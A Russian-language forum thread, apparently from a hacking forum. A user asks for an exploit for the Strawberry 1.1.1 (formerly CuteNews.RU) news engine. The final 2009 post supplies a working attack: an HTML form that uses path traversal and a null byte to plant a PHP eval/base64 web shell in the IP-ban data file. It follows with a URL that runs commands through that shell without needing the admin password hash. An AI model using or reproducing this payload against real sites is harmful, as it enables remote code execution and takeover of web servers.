PDA

Просмотр полной версии : Есть ли сплоит для Strawberry 1.1.1 ?


Nosferatu
18.10.2006, 13:19
Народ,пожалуйста помогите найти сплоит для Strawberry 1.1.1, или хотябы описание уязвимостей....

_-[A.M.D]HiM@S-_
18.10.2006, 15:02
Если я неправ поправьте.
Это названия версии движка было недавно переминовано с CuteNews на Strawberry.

Strawberry
Теперь новостной скрипт CuteNews.RU называется Strawberry!

Koller
18.10.2006, 15:21
Нет...ты не ошибаешься...все именно так...

[AVT]
10.05.2009, 13:09
Развивая тему _http://forum.antichat.ru/showpost.php?p=953944&postcount=71

Выполняем POST-запрос:
<form method="post" action="http://localhost/strawberry/example/index.php?do=../../../../../inc/mod/ipban.mdu%00">
<input type="text" name="add_ip" value="<h1><?php eval(base64_decode($_GET[cmd]));?></h1>">
<input type="hidden" name="action" value="add">
<input type="hidden" name="mod" value="ipban">
<input type="submit" value="First time">
</form>
Шелл: http://localhost/strawberry/example/index.php?cmd=cGhwaW5mbygpOw==&do=../../../../db/base/ipban.MYD%00

+ Не нужно расшифровывать md5(md5()) хеш админа.

Уточнение: "/example/" - это не пример каталога, а папка в движке StrawBerry.